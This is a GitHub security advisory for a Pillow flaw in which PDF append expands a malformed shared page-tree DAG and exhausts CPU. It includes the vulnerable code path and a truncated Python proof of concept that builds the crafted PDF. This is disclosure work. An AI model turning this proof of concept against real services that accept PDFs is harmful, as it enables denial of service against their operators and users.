GitHub Advisoryadvisory · PyPI
GHSA-mrfp-p49p-3hf2 Pillow PDF append accepts malformed shared page-tree DAG causing resource exhaustion
HIGH
Official page ↗
- Aliases
- CVE-2026-96640
- Ecosystem
- PyPI
- Packages
- Pillow
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-400, CWE-407
- Reviewed
- 2026-10-22
Affected packages
• PyPI Pillow: >= 5.1.0, < 13.0.0 → fixed in 13.0.0
Description
Summary
Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.
An attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format="PDF", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.
In the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.
This is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.
Details
Affected versions
• Package: `Pillow`
• Ecosystem: `pip` / PyPI
• Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling
• Runtime-tested affected release: `12.3.0`
• Runtime-tested affected development version: `13.0.0.dev0`
• Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`
• Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054`
• Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`
• Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81`
• Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD`
• Likely affected range: `>= 5.1.0`
• Patched versions: none known
Evidence fact strings:
• Runtime-tested affected: 12.3.0
• Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa
• Source-level affected: 5.1.0
• Source-level affected: 12.2.0
• Source-level affected: HEAD
• Likely affected range: >= 5.1.0, no fixed version known
• Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py
`5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`.
Technical details
The reachable path is:
1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:
```python
Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
```
2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`:
```python
is_appending = im.encoderinfo.get("append", False)
filename_str = filename.decode() if isinstance(filename, bytes) else filename
if is_appending:
existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
else:
existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
```
3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree:
```python
self.page_tree_root = self.read_indirect(self.pages_ref)
self.pages = self.linearize_page_tree(self.page_tree_root)
self.orig_pages = self.pages[:]
```
4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:
```python
def linearize_page_tree(
self, node: PdfDict | None = None
) -> list[IndirectReference]:
page_node = node if node is not None else self.page_tree_root
check_format_condition(
page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages"
)
pages = []
for kid in page_node[b"Kids"]:
kid_object = self.read_indirect(kid)
if kid_object[b"Type"] == b"Page":
pages.append(kid)
else:
pages.extend(self.linearize_page_tree(node=kid_object))
return pages
```
5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list.
The missing invariant is:
```text
The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.
```
The proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.
PoC
Environment used for validation:
• OS/runtime: Linux, Python `3.13.11`
• Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`
• Latest release tested: Pillow `12.3.0`
• The proof uses only synthetic in-memory PDFs and does not contact the network.
Save this as `poc_pillow_pdf_page_tree_dag.py`:
```python
!/usr/bin/env python3
from __future__ import annotations
import io
import json
import sys
import time
from PIL import Image, PdfParser
import PIL
def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
if fanout not in (1, 2):
raise ValueError("fanout must be 1 or 2")
objects: list[bytes] = [b">"]
for object_id in range(2, depth + 3):
next_id = object_id + 1
kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
objects.append(b">")
objects.append(f">".encode("ascii"))
result = bytearray(b"%PDF-1.4\n")
offsets = [0]
for object_id, value in enumerate(objects, start=1):
offsets.append(len(result))
result.extend(f"{object_id} 0 obj\n".encode("ascii"))
result.extend(value)
result.extend(b"\nendobj\n")
xref_offset = len(result)
result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
result.extend(b"0000000000 65535 f \n")
for offset in offsets[1:]:
result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
result.extend(
f"trailer\n>\n"
f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
)
return bytes(result)
def run_case(depth: int, fanout: int) -> dict[str, object]:
payload = make_page_tree_pdf(depth, fanout)
expected_refs = fanout ** (depth + 1)
start = time.monotonic()
with PdfParser.PdfParser(buf=payload) as pdf:
observed_refs = len(pdf.pages)
distinct_refs = len(set(pdf.pages))
parse_seconds = time.monotonic() - start
output = io.BytesIO(payload)
start = time.monotonic()
Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
append_seconds = time.monotonic() - start
return {
"fanout": fanout,
"depth": depth,
"input_bytes": len(payload),
"expected_refs": expected_refs,
"observed_refs": observed_refs,
"distinct_refs": distinct_refs,
"parse_seconds": round(parse_seconds, 6),
"append_seconds": round(append_seconds, 6),
"output_bytes_after_append": len(output.getvalue()),
}
def main() -> int:
depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
if not 0 <= depth <= 16:
raise SystemExit("depth must be between 0 and 16")
linear = run_case(depth, fanout=1)
shared_dag = run_case(depth, fanout=2)
c…
Related
Alias · CVE (1)
- CVE-2026-96640 Pillow is a Python imaging library. vulnerability
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-mrfp-p49p-3hf2 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-96640 advisory
- https://github.com/python-pillow/Pillow/pull/10093 web
- https://github.com/python-pillow/Pillow/commit/6f0e7ee1f9c2fe227906f8a4b926e6622b702bc7 web
- https://github.com/python-pillow/Pillow package
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0 web